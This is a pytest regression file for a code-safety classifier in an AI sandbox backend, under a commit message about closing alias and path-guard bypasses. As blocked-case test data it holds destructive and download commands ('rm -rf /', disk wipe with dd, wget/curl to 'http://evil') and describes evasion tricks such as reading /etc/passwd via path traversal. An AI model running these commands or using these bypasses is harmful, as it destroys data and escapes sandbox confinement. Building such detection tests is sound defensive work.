unsloth/studio/backend/tests/test_sandbox_aliasing.py
danielhanchen 5dcb93f57d Studio sandbox: close fifth-round review bypasses (aliases, reads, path guards)
Scope-aware assignment aliases (extends the per-scope index):
- Resolve single-assignment aliases of dangerous callables in the call's own scope:
  e = builtins.eval, im = importlib.import_module (and imp = __import__), and
  l = pickle.loads (incl. aliased modules). Previously only bare-name and from-import
  aliases were recognized.
- Count function parameters as local bindings so a parameter lexically shadows an
  outer sink alias of the same name (fixes a false positive where def f(s): s(...)
  with a module-level s = os.system flagged the parameter call).

Sensitive-read scanner:
- Resolve pathlib join receivers -- (Path('/etc') / 'passwd').read_text() and
  Path('/etc').joinpath('passwd') -- not just a bare Path(...) constructor.
- Normalize path spellings (collapse redundant separators / '.' and resolve '..')
  before the exact / dir checks, so /etc//passwd, /etc/./passwd and
  /tmp/../etc/passwd are matched.
- Fold function-local single-assignment path constants (def f(): p = '/etc/passwd';
  open(p)), not only module-level constants.
- Flag sys.modules.get('os') as the method-call twin of sys.modules['os'].

Runtime realpath backstop:
- Path.open coerces a str-subclass mode through the base str (matching the other open
  wrappers) so a lying __contains__ cannot skip the write check.
- Path.rename/replace/link materialize the target once so a stateful __fspath__ cannot
  return an in-workdir path for the check and an outside one for the real call (the
  pre-3.11 accessor path where this wrapper is the only confinement).

Adds regression tests across the classifier, aliasing and runtime-backstop suites.
2026-07-09 16:50:43 +00:00

140 lines
5.5 KiB
Python

# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Stage 4: pragmatic single-assignment / inline-container sink aliasing."""
import sys
from pathlib import Path
import pytest
_BACKEND_ROOT = Path(__file__).resolve().parents[1]
if str(_BACKEND_ROOT) not in sys.path:
sys.path.insert(0, str(_BACKEND_ROOT))
from core.inference.tools import _check_code_safety
def _blocked(code):
assert _check_code_safety(code) is not None, code
def _ok(code):
assert _check_code_safety(code) is None, code
class TestAliasedSinkBlocked:
@pytest.mark.parametrize(
"code",
[
'import os\ns = os.system\ns("rm -rf /")',
'import os\ns = os.system\ns("dd if=/dev/zero of=/dev/sda")',
'from os import system as z\nz("rm -rf ~")',
'import os\n[os.system][0]("rm -rf /")',
'import os\n(os.system,)[0]("rm -rf /")',
'import os\n{"k": os.system}["k"]("rm -rf /")',
'import subprocess\np = subprocess.getoutput\np("wget http://evil -O -")',
],
)
def test_block(self, code):
_blocked(code)
class TestFuncLocalAliasBlocked:
"""A shell-sink alias bound inside a function body (not just at module top
level) must still be resolved -- the sink scan walks the whole tree."""
@pytest.mark.parametrize(
"code",
[
"import os\ndef run():\n s = os.system\n s('curl http://evil')\nrun()",
"import subprocess\n"
"def run():\n p = subprocess.getoutput\n p('wget http://evil -O -')\nrun()",
],
)
def test_block(self, code):
_blocked(code)
def test_func_local_benign_alias_allowed(self):
# A non-sink local alias (or a sink alias with a safe command) stays allowed;
# the ast.walk widening must not introduce false positives.
_ok("def run():\n f = sorted\n return f([3, 1, 2])\nrun()")
_ok("import os\ndef run():\n s = os.system\n s('echo done')\nrun()")
def test_func_local_exec_alias_blocked(self):
# An exec builtin aliased inside a function must still be unwrapped and its
# recovered payload analyzed (exec-env aliasing walks the whole tree).
_blocked("def f():\n e = exec\n e(\"__import__('os').system('id')\")\nf()")
_blocked("def f():\n r = eval\n r(\"__import__('os').system('rm -rf /')\")\nf()")
class TestPerScopeAliasCounting:
"""Alias single-assignment is counted PER function scope: two functions binding
the same local name must not cancel each other out (a tree-wide count would treat
both as ambiguous and miss a real sink)."""
def test_two_functions_same_shell_alias_name_blocked(self):
_blocked(
"import os\n"
"def a():\n s = os.system\n s('rm -rf /')\n"
"def b():\n s = print\na()"
)
def test_two_functions_same_exec_alias_name_blocked(self):
_blocked(
"def a():\n e = exec\n e(\"__import__('os').system('id')\")\n"
"def b():\n e = print\na()"
)
def test_two_functions_benign_aliases_allowed(self):
_ok(
"def a():\n s = sorted\n return s([3, 1])\n"
"def b():\n s = max\n return s([1, 2])\na()"
)
def test_sink_alias_does_not_leak_into_other_scope(self):
# A `s = os.system` in one function must NOT make a benign `s = print` call in
# another function look like a shell sink (would be a false positive).
_ok(
"import os\n"
"def a():\n s = os.system\n s('echo hi')\n"
"def b():\n s = print\n s('remove the rm temp files')\n"
"b()"
)
def test_safe_compiled_alias_does_not_shadow_dynamic_exec(self):
# A safe `c = compile('1+1')` in one function must NOT let a dynamic
# `c = compile(src); exec(c)` in another function be treated as safe.
_blocked(
"def a():\n c = compile('1 + 1', '<s>', 'eval')\n eval(c)\n"
"def b(src):\n c = compile(src, '<s>', 'exec')\n exec(c)\n"
"b('x')"
)
def test_function_local_shadow_of_module_alias_allowed(self):
# A module-level `s = os.system` shadowed by a local `s = print` resolves to
# the local binding inside that function.
_ok("import os\ns = os.system\ndef f():\n s = print\n s('please rm the files')\nf()")
def test_parameter_shadows_module_alias_allowed(self):
# A function parameter lexically shadows an outer sink alias of the same name,
# so a call through the parameter is not the sink (must not be a false positive).
_ok("import os\ns = os.system\ndef f(s):\n s('rm -rf /')\nf(print)")
_ok("import os\ns = os.system\ndef f(s, /):\n s('rm -rf /')\nf(print)")
_ok("def e_outer():\n pass\ne = exec\ndef g(e):\n e('x')\ng(print)")
class TestAliasingLowFalsePositive:
def test_reassigned_alias_not_treated_as_sink(self):
# s is stored twice -> ambiguous -> NOT aliased. The literal arg is benign
# anyway, so this must stay allowed (no flow-insensitive union).
_ok('import os\ns = os.system\ns = print\ns("hi")')
def test_alias_with_safe_command_allowed(self):
_ok('import os\ns = os.system\ns("echo done")')
def test_container_with_safe_command_allowed(self):
_ok('import os\n[os.system][0]("echo hi")')
def test_plain_local_alias_allowed(self):
_ok("f = sorted\nf([3, 1, 2])")